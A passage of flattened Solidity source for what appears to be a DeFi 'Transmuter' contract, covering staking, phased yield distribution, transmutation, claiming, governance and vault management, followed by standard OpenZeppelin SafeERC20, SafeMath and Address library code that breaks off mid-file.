tokensInBucket[account] = tokensInBucket[account].add(owing);
}
lastDividendPoints[account] = totalDividendPoints;
_;
}
///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled
modifier checkIfNewUser() {
if (!userIsKnown[msg.sender]) {
userList[nextUser] = msg.sender;
userIsKnown[msg.sender] = true;
nextUser++;
}
_;
}
///@dev run the phased distribution of the buffered funds
modifier runPhasedDistribution() {
uint256 _lastDepositBlock = lastDepositBlock;
uint256 _currentBlock = block.number;
uint256 _toDistribute = 0;
uint256 _buffer = buffer;
// check if there is something in bufffer
if (_buffer > 0) {
// NOTE: if last deposit was updated in the same block as the current call
// then the below logic gates will fail
//calculate diffrence in time
uint256 deltaTime = _currentBlock.sub(_lastDepositBlock);
// distribute all if bigger than timeframe
if(deltaTime >= transmutationPeriod) {
_toDistribute = _buffer;
} else {
//needs to be bigger than 0 cuzz solidity no decimals
if(_buffer.mul(deltaTime) > transmutationPeriod)
{
_toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod);
}
}
// factually allocate if any needs distribution
if(_toDistribute > 0){
// remove from buffer
buffer = _buffer.sub(_toDistribute);
// increase the allocation
increaseAllocations(_toDistribute);
}
}
// current timeframe is now the last
lastDepositBlock = _currentBlock;
_;
}
/// @dev A modifier which checks if whitelisted for minting.
modifier onlyWhitelisted() {
require(whiteList[msg.sender], "Transmuter: !whitelisted");
_;
}
/// @dev A modifier which checks if caller is a keepr.
modifier onlyKeeper() {
require(keepers[msg.sender], "Transmuter: !keeper");
_;
}
/// @dev Checks that the current message sender or caller is the governance address.
///
///
modifier onlyGov() {
require(msg.sender == governance, "Transmuter: !governance");
_;
}
/// @dev checks that the block delay since a user's last action is longer than the minium delay
///
modifier ensureUserActionDelay() {
require(block.number.sub(lastUserAction[msg.sender]) >= minUserActionDelay, "action delay not met");
lastUserAction[msg.sender] = block.number;
_;
}
///@dev set the transmutationPeriod variable
///
/// sets the length (in blocks) of one full distribution phase
function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov() {
transmutationPeriod = newTransmutationPeriod;
emit TransmuterPeriodUpdated(transmutationPeriod);
}
///@dev claims the base token after it has been transmuted
///
///This function reverts if there is no realisedToken balance
function claim(bool asEth)
public
noContractAllowed()
{
address sender = msg.sender;
require(realisedTokens[sender] > 0);
uint256 value = realisedTokens[sender];
realisedTokens[sender] = 0;
ensureSufficientFundsExistLocally(value);
if (asEth) {
IWETH9(token).withdraw(value);
payable(sender).transfer(value);
} else {
IERC20Burnable(token).safeTransfer(sender, value);
}
emit TokenClaimed(sender, token, value);
}
///@dev Withdraws staked alTokens from the transmuter
///
/// This function reverts if you try to draw more tokens than you deposited
///
///@param amount the amount of alTokens to unstake
function unstake(uint256 amount)
public
noContractAllowed()
updateAccount(msg.sender)
{
// by calling this function before transmuting you forfeit your gained allocation
address sender = msg.sender;
require(depositedAlTokens[sender] >= amount,"Transmuter: unstake amount exceeds deposited amount");
depositedAlTokens[sender] = depositedAlTokens[sender].sub(amount);
totalSupplyAltokens = totalSupplyAltokens.sub(amount);
IERC20Burnable(alToken).safeTransfer(sender, amount);
emit AlUsdUnstaked(sender, amount);
}
///@dev Deposits alTokens into the transmuter
///
///@param amount the amount of alTokens to stake
function stake(uint256 amount)
public
noContractAllowed()
ensureUserActionDelay()
runPhasedDistribution()
updateAccount(msg.sender)
checkIfNewUser()
{
require(!pause, "emergency pause enabled");
// requires approval of AlToken first
address sender = msg.sender;
//require tokens transferred in;
IERC20Burnable(alToken).safeTransferFrom(sender, address(this), amount);
totalSupplyAltokens = totalSupplyAltokens.add(amount);
depositedAlTokens[sender] = depositedAlTokens[sender].add(amount);
emit AlUsdStaked(sender, amount);
}
/// @dev Converts the staked alTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket
///
/// once the alToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim()
///
/// reverts if there are no pendingdivs or tokensInBucket
function transmute()
public
noContractAllowed()
ensureUserActionDelay()
runPhasedDistribution()
updateAccount(msg.sender)
{
address sender = msg.sender;
uint256 pendingz = tokensInBucket[sender];
uint256 diff;
require(pendingz > 0, "need to have pending in bucket");
tokensInBucket[sender] = 0;
// check bucket overflow
if (pendingz > depositedAlTokens[sender]) {
diff = pendingz.sub(depositedAlTokens[sender]);
// remove overflow
pendingz = depositedAlTokens[sender];
}
// decrease altokens
depositedAlTokens[sender] = depositedAlTokens[sender].sub(pendingz);
// BURN ALTOKENS
IERC20Burnable(alToken).burn(pendingz);
// adjust total
totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
// reallocate overflow
increaseAllocations(diff);
// add payout
realisedTokens[sender] = realisedTokens[sender].add(pendingz);
emit Transmutation(sender, pendingz);
}
/// @dev Executes transmute() on another account that has had more base tokens allocated to it than alTokens staked.
///
/// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action
///
/// This function reverts if the address to transmute is not over-filled.
///
/// @param toTransmute address of the account you will force transmute.
function forceTransmute(address toTransmute)
public
noContractAllowed()
ensureUserActionDelay()
runPhasedDistribution()
updateAccount(msg.sender)
updateAccount(toTransmute)
checkIfNewUser()
{
//load into memory
uint256 pendingz = tokensInBucket[toTransmute];
// check restrictions
require(
pendingz > depositedAlTokens[toTransmute],
"Transmuter: !overflow"
);
// empty bucket
tokensInBucket[toTransmute] = 0;
// calculaate diffrence
uint256 diff = pendingz.sub(depositedAlTokens[toTransmute]);
// remove overflow
pendingz = depositedAlTokens[toTransmute];
// decrease altokens
depositedAlTokens[toTransmute] = 0;
// BURN ALTOKENS
IERC20Burnable(alToken).burn(pendingz);
// adjust total
totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
// reallocate overflow
tokensInBucket[msg.sender] = tokensInBucket[msg.sender].add(diff);
// add payout
realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz);
uint256 value = realisedTokens[toTransmute];
ensureSufficientFundsExistLocally(value);
// force payout of realised tokens of the toTransmute address
realisedTokens[toTransmute] = 0;
IWETH9(token).withdraw(value);
payable(toTransmute).transfer(value);
emit ForcedTransmutation(msg.sender, toTransmute, value);
}
/// @dev Transmutes and unstakes all alTokens
///
/// This function combines the transmute and unstake functions for ease of use
function exit() public noContractAllowed() {
transmute();
uint256 toWithdraw = depositedAlTokens[msg.sender];
unstake(toWithdraw);
}
/// @dev Transmutes and claims all converted base tokens.
///
/// This function combines the transmute and claim functions while leaving your remaining alTokens staked.
function transmuteAndClaim(bool asEth) public noContractAllowed() {
transmute();
claim(asEth);
}
/// @dev Transmutes, claims base tokens, and withdraws alTokens.
///
/// This function helps users to exit the transmuter contract completely after converting their alTokens to the base pair.
function transmuteClaimAndWithdraw(bool asEth) public noContractAllowed() {
transmute();
claim(asEth);
uint256 toWithdraw = depositedAlTokens[msg.sender];
unstake(toWithdraw);
}
/// @dev Distributes the base token proportionally to all alToken stakers.
///
/// This function is meant to be called by the Alchemist contract for when it is sending yield to the transmuter.
/// Anyone can call this and add funds, idk why they would do that though...
///
/// @param origin the account that is sending the tokens to be distributed.
/// @param amount the amount of base tokens to be distributed to the transmuter.
function distribute(address origin, uint256 amount) public onlyWhitelisted() runPhasedDistribution() {
require(!pause, "emergency pause enabled");
IERC20Burnable(token).safeTransferFrom(origin, address(this), amount);
buffer = buffer.add(amount);
_plantOrRecallExcessFunds();
emit Distribution(origin, amount);
}
/// @dev Allocates the incoming yield proportionally to all alToken stakers.
///
/// @param amount the amount of base tokens to be distributed in the transmuter.
function increaseAllocations(uint256 amount) internal {
if(totalSupplyAltokens > 0 && amount > 0) {
totalDividendPoints = totalDividendPoints.add(
amount.mul(pointMultiplier).div(totalSupplyAltokens)
);
unclaimedDividends = unclaimedDividends.add(amount);
} else {
buffer = buffer.add(amount);
}
}
/// @dev Gets the status of a user's staking position.
///
/// The total amount allocated to a user is the sum of pendingdivs and inbucket.
///
/// @param user the address of the user you wish to query.
///
/// returns user status
function userInfo(address user)
public
view
returns (
uint256 depositedAl,
uint256 pendingdivs,
uint256 inbucket,
uint256 realised
)
{
uint256 _depositedAl = depositedAlTokens[user];
uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod);
if(block.number.sub(lastDepositBlock) > transmutationPeriod){
_toDistribute = buffer;
}
uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens);
uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user));
uint256 _realised = realisedTokens[user];
return (_depositedAl, _pendingdivs, _inbucket, _realised);
}
/// @dev Gets the status of multiple users in one call
///
/// This function is used to query the contract to check for
/// accounts that have overfilled positions in order to check
/// who can be force transmuted.
///
/// @param from the first index of the userList
/// @param to the last index of the userList
///
/// returns the userList with their staking status in paginated form.
function getMultipleUserInfo(uint256 from, uint256 to)
public
view
returns (address[] memory theUserList, uint256[] memory theUserData)
{
uint256 i = from;
uint256 delta = to - from;
address[] memory _theUserList = new address[](delta); //user
uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket
uint256 y = 0;
uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod);
if(block.number.sub(lastDepositBlock) > transmutationPeriod){
_toDistribute = buffer;
}
for (uint256 x = 0; x < delta; x += 1) {
_theUserList[x] = userList[i];
_theUserData[y] = depositedAlTokens[userList[i]];
_theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens));
y += 2;
i += 1;
}
return (_theUserList, _theUserData);
}
/// @dev Gets info on the buffer
///
/// This function is used to query the contract to get the
/// latest state of the buffer
///
/// @return _toDistribute the amount ready to be distributed
/// @return _deltaBlocks the amount of time since the last phased distribution
/// @return _buffer the amount in the buffer
function bufferInfo() public view returns (uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer){
_deltaBlocks = block.number.sub(lastDepositBlock);
_buffer = buffer;
_toDistribute = _buffer.mul(_deltaBlocks).div(transmutationPeriod);
}
/// @dev Sets the pending governance.
///
/// This function reverts if the new pending governance is the zero address or the caller is not the current
/// governance. This is to prevent the contract governance being set to the zero address which would deadlock
/// privileged contract functionality.
///
/// @param _pendingGovernance the new pending governance.
function setPendingGovernance(address _pendingGovernance) external onlyGov() {
require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov");
pendingGovernance = _pendingGovernance;
emit PendingGovernanceUpdated(_pendingGovernance);
}
/// @dev Accepts the role as governance.
///
/// This function reverts if the caller is not the new pending governance.
function acceptGovernance() external {
require(msg.sender == pendingGovernance,"!pendingGovernance");
address _pendingGovernance = pendingGovernance;
governance = _pendingGovernance;
emit GovernanceUpdated(_pendingGovernance);
}
/// @dev Sets the whitelist
///
/// This function reverts if the caller is not governance
///
/// @param _toWhitelist the address to alter whitelist permissions.
/// @param _state the whitelist state.
function setWhitelist(address _toWhitelist, bool _state) external onlyGov() {
whiteList[_toWhitelist] = _state;
emit WhitelistSet(_toWhitelist, _state);
}
/// @dev Sets the keeper list
///
/// This function reverts if the caller is not governance
///
/// @param _keepers the accounts to set states for.
/// @param _states the accounts states.
function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() {
uint256 n = _keepers.length;
for(uint256 i = 0; i < n; i++) {
keepers[_keepers[i]] = _states[i];
}
emit KeepersSet(_keepers, _states);
}
/// @dev Initializes the contract.
///
/// This function checks that the transmuter and rewards have been set and sets up the active vault.
///
/// @param _adapter the vault adapter of the active vault.
function initialize(YearnVaultAdapterWithIndirection _adapter) external onlyGov {
require(!initialized, "Transmuter: already initialized");
require(rewards != ZERO_ADDRESS, "Transmuter: cannot initialize rewards address to 0x0");
_updateActiveVault(_adapter);
initialized = true;
}
function migrate(YearnVaultAdapterWithIndirection _adapter) external onlyGov() {
_updateActiveVault(_adapter);
}
/// @dev Updates the active vault.
///
/// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
/// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
///
/// @param _adapter the adapter for the new active vault.
function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal {
require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), "Transmuter: active vault address cannot be 0x0.");
require(address(_adapter.token()) == token, "Transmuter.vault: token mismatch.");
require(!adapters[_adapter], "Adapter already in use");
adapters[_adapter] = true;
_vaults.push(VaultWithIndirection.Data({
adapter: _adapter,
totalDeposited: 0
}));
emit ActiveVaultUpdated(_adapter);
}
/// @dev Gets the number of vaults in the vault list.
///
/// @return the vault count.
function vaultCount() external view returns (uint256) {
return _vaults.length();
}
/// @dev Get the adapter of a vault.
///
/// @param _vaultId the identifier of the vault.
///
/// @return the vault adapter.
function getVaultAdapter(uint256 _vaultId) external view returns (address) {
VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
return address(_vault.adapter);
}
/// @dev Get the total amount of the parent asset that has been deposited into a vault.
///
/// @param _vaultId the identifier of the vault.
///
/// @return the total amount of deposited tokens.
function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) {
VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
return _vault.totalDeposited;
}
/// @dev Recalls funds from active vault if less than amt exist locally
///
/// @param amt amount of funds that need to exist locally to fulfill pending request
function ensureSufficientFundsExistLocally(uint256 amt) internal {
uint256 currentBal = IERC20Burnable(token).balanceOf(address(this));
if (currentBal < amt) {
uint256 diff = amt - currentBal;
// get enough funds from active vault to replenish local holdings & fulfill claim request
_recallExcessFundsFromActiveVault(plantableThreshold.add(diff));
}
}
/// @dev Recalls all planted funds from a target vault
///
/// @param _vaultId the id of the vault from which to recall funds
function recallAllFundsFromVault(uint256 _vaultId) external {
require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel");
_recallAllFundsFromVault(_vaultId);
}
/// @dev Recalls all planted funds from a target vault
///
/// @param _vaultId the id of the vault from which to recall funds
function _recallAllFundsFromVault(uint256 _vaultId) internal {
VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
(uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdrawAll(address(this));
emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
}
/// @dev Recalls planted funds from a target vault
///
/// @param _vaultId the id of the vault from which to recall funds
/// @param _amount the amount of funds to recall
function recallFundsFromVault(uint256 _vaultId, uint256 _amount) external {
require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel");
_recallFundsFromVault(_vaultId, _amount);
}
/// @dev Recalls planted funds from a target vault
///
/// @param _vaultId the id of the vault from which to recall funds
/// @param _amount the amount of funds to recall
function _recallFundsFromVault(uint256 _vaultId, uint256 _amount) internal {
VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
(uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount);
emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
}
/// @dev Recalls planted funds from the active vault
///
/// @param _amount the amount of funds to recall
function _recallFundsFromActiveVault(uint256 _amount) internal {
_recallFundsFromVault(_vaults.lastIndex(), _amount);
}
/// @dev Plants or recalls funds from the active vault
///
/// This function plants excess funds in an external vault, or recalls them from the external vault
/// Should only be called as part of distribute()
function _plantOrRecallExcessFunds() internal {
// check if the transmuter holds more funds than plantableThreshold
uint256 bal = IERC20Burnable(token).balanceOf(address(this));
uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100);
if (bal > plantableThreshold.add(marginVal)) {
uint256 plantAmt = bal - plantableThreshold;
// if total funds above threshold, send funds to vault
VaultWithIndirection.Data storage _activeVault = _vaults.last();
_activeVault.deposit(plantAmt);
} else if (bal < plantableThreshold.sub(marginVal)) {
// if total funds below threshold, recall funds from vault
// first check that there are enough funds in vault
uint256 harvestAmt = plantableThreshold - bal;
_recallExcessFundsFromActiveVault(harvestAmt);
}
}
/// @dev Recalls up to the harvestAmt from the active vault
///
/// This function will recall less than harvestAmt if only less is available
///
/// @param _recallAmt the amount to harvest from the active vault
function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal {
VaultWithIndirection.Data storage _activeVault = _vaults.last();
uint256 activeVaultVal = _activeVault.totalValue();
if (activeVaultVal < _recallAmt) {
_recallAmt = activeVaultVal;
}
if (_recallAmt > 0) {
_recallFundsFromActiveVault(_recallAmt);
}
}
/// @dev Sets the address of the sentinel
///
/// @param _sentinel address of the new sentinel
function setSentinel(address _sentinel) external onlyGov() {
require(_sentinel != ZERO_ADDRESS, "Transmuter: sentinel address cannot be 0x0.");
sentinel = _sentinel;
emit SentinelUpdated(_sentinel);
}
/// @dev Sets the threshold of total held funds above which excess funds will be planted in yield farms.
///
/// This function reverts if the caller is not the current governance.
///
/// @param _plantableThreshold the new plantable threshold.
function setPlantableThreshold(uint256 _plantableThreshold) external onlyGov() {
plantableThreshold = _plantableThreshold;
emit PlantableThresholdUpdated(_plantableThreshold);
}
/// @dev Sets the plantableThreshold margin for triggering the planting or recalling of funds on harvest
///
/// This function reverts if the caller is not the current governance.
///
/// @param _plantableMargin the new plantable margin.
function setPlantableMargin(uint256 _plantableMargin) external onlyGov() {
plantableMargin = _plantableMargin;
emit PlantableMarginUpdated(_plantableMargin);
}
/// @dev Sets the minUserActionDelay
///
/// This function reverts if the caller is not the current governance.
///
/// @param _minUserActionDelay the new min user action delay.
function setMinUserActionDelay(uint256 _minUserActionDelay) external onlyGov() {
minUserActionDelay = _minUserActionDelay;
emit MinUserActionDelayUpdated(_minUserActionDelay);
}
/// @dev Sets if the contract should enter emergency exit mode.
///
/// There are 2 main reasons to pause:
/// 1. Need to shut down deposits in case of an emergency in one of the vaults
/// 2. Need to migrate to a new transmuter
///
/// While the transmuter is paused, deposit() and distribute() are disabled
///
/// @param _pause if the contract should enter emergency exit mode.
function setPause(bool _pause) external {
require(msg.sender == governance || msg.sender == sentinel, "!(gov || sentinel)");
pause = _pause;
emit PauseUpdated(_pause);
}
/// @dev Harvests yield from a vault.
///
/// @param _vaultId the identifier of the vault to harvest from.
///
/// @return the amount of funds that were harvested from the vault.
function harvest(uint256 _vaultId) external onlyKeeper() returns (uint256, uint256) {
VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
(uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(rewards);
emit FundsHarvested(_harvestedAmount, _decreasedValue);
return (_harvestedAmount, _decreasedValue);
}
/// @dev Sets the rewards contract.
///
/// This function reverts if the new rewards contract is the zero address or the caller is not the current governance.
///
/// @param _rewards the new rewards contract.
function setRewards(address _rewards) external onlyGov() {
// Check that the rewards address is not the zero address. Setting the rewards to the zero address would break
// transfers to the address because of `safeTransfer` checks.
require(_rewards != ZERO_ADDRESS, "Transmuter: rewards address cannot be 0x0.");
rewards = _rewards;
emit RewardsUpdated(_rewards);
}
/// @dev Migrates transmuter funds to a new transmuter
///
/// @param migrateTo address of the new transmuter
function migrateFunds(address migrateTo) external onlyGov() {
require(migrateTo != address(0), "cannot migrate to 0x0");
require(pause, "migrate: set emergency exit first");
// leave enough funds to service any pending transmutations
uint256 totalFunds = IERC20Burnable(token).balanceOf(address(this));
uint256 migratableFunds = totalFunds.sub(totalSupplyAltokens, "not enough funds to service stakes");
IERC20Burnable(token).approve(migrateTo, migratableFunds);
ITransmuter(migrateTo).distribute(address(this), migratableFunds);
emit MigrationComplete(migrateTo, migratableFunds);
}
/// @dev Recover eth sent directly to the Alchemist
///
/// only callable by governance
function recoverLostFunds() external onlyGov() {
payable(governance).transfer(address(this).balance);
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
